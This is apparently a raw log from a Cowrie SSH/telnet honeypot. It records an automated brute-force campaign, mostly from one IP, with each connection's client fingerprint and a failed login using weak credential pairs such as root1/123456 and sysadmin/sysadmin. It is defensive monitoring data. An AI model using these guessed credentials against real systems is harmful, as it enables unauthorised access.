{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:26.158540Z","src_ip":"45.156.87.254","session":"4647b73fb85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:26.421960Z","src_ip":"45.156.87.254","session":"4647b73fb85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:27.509894Z","src_ip":"45.156.87.254","session":"4647b73fb85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51852,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c50cef5fd9","protocol":"ssh","message":"New connection: 45.156.87.254:51852 (159.203.135.109:22) [session: c5c50cef5fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:30.568745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:30.573678Z","src_ip":"45.156.87.254","session":"c5c50cef5fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:30.655991Z","src_ip":"45.156.87.254","session":"c5c50cef5fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:30.911105Z","src_ip":"45.156.87.254","session":"c5c50cef5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:32.006266Z","src_ip":"45.156.87.254","session":"c5c50cef5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51878,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db9f57d8eee","protocol":"ssh","message":"New connection: 45.156.87.254:51878 (159.203.135.109:22) [session: 4db9f57d8eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:35.274415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:35.279600Z","src_ip":"45.156.87.254","session":"4db9f57d8eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:35.363274Z","src_ip":"45.156.87.254","session":"4db9f57d8eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:35.618877Z","src_ip":"45.156.87.254","session":"4db9f57d8eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.62327313423157,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:36.534733Z","src_ip":"104.245.105.2","session":"ee3192f1deda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:36.714647Z","src_ip":"45.156.87.254","session":"4db9f57d8eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34754,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b92db50a6b","protocol":"telnet","message":"New connection: 104.245.105.2:34754 (10.17.0.5:23) [session: 54b92db50a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:40.078073Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48264,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ab854590ff","protocol":"ssh","message":"New connection: 45.156.87.254:48264 (159.203.135.109:22) [session: 07ab854590ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:40.302311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:40.310348Z","src_ip":"45.156.87.254","session":"07ab854590ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:40.394093Z","src_ip":"45.156.87.254","session":"07ab854590ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:40.843256Z","src_ip":"45.156.87.254","session":"07ab854590ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:41.929540Z","src_ip":"45.156.87.254","session":"07ab854590ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48280,"dst_ip":"159.203.135.109","dst_port":22,"session":"178aadc7458e","protocol":"ssh","message":"New connection: 45.156.87.254:48280 (159.203.135.109:22) [session: 178aadc7458e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:44.824413Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.64.131.10","src_port":37298,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dd6035bd46a","protocol":"ssh","message":"New connection: 36.64.131.10:37298 (159.203.135.109:22) [session: 4dd6035bd46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:44.895239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:44.972905Z","src_ip":"45.156.87.254","session":"178aadc7458e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:44.978422Z","src_ip":"45.156.87.254","session":"178aadc7458e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:45.364321Z","src_ip":"45.156.87.254","session":"178aadc7458e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:45.485594Z","src_ip":"36.64.131.10","session":"4dd6035bd46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.15468454360962,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:46.216650Z","src_ip":"20.123.41.163","session":"f2c8ed34741a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:46.450252Z","src_ip":"45.156.87.254","session":"178aadc7458e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51372,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa750005dfd","protocol":"ssh","message":"New connection: 45.156.87.254:51372 (159.203.135.109:22) [session: 9aa750005dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:48.980809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:49.154485Z","src_ip":"45.156.87.254","session":"9aa750005dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:49.158875Z","src_ip":"45.156.87.254","session":"9aa750005dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:49.624077Z","src_ip":"45.156.87.254","session":"9aa750005dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:50.728460Z","src_ip":"45.156.87.254","session":"9aa750005dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920225858688354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:52.706492Z","src_ip":"104.245.105.2","session":"fc0729559bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51386,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3bb158bbfe","protocol":"ssh","message":"New connection: 45.156.87.254:51386 (159.203.135.109:22) [session: da3bb158bbfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:54.066556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:54.070885Z","src_ip":"45.156.87.254","session":"da3bb158bbfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:54.226398Z","src_ip":"45.156.87.254","session":"da3bb158bbfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:54.643986Z","src_ip":"45.156.87.254","session":"da3bb158bbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":32822,"dst_ip":"10.17.0.5","dst_port":23,"session":"596ddd5a6e1f","protocol":"telnet","message":"New connection: 104.245.105.2:32822 (10.17.0.5:23) [session: 596ddd5a6e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:55.074102Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:55.734182Z","src_ip":"45.156.87.254","session":"da3bb158bbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b964e476824","protocol":"telnet","message":"New connection: 20.123.41.163:52734 (10.17.0.5:23) [session: 9b964e476824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:57.151038Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51402,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5acc6f42a4e","protocol":"ssh","message":"New connection: 45.156.87.254:51402 (159.203.135.109:22) [session: c5acc6f42a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:58.512594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:58.560251Z","src_ip":"45.156.87.254","session":"c5acc6f42a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:58.625576Z","src_ip":"45.156.87.254","session":"c5acc6f42a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:58.934176Z","src_ip":"45.156.87.254","session":"c5acc6f42a4e","protocol":"ssh"}
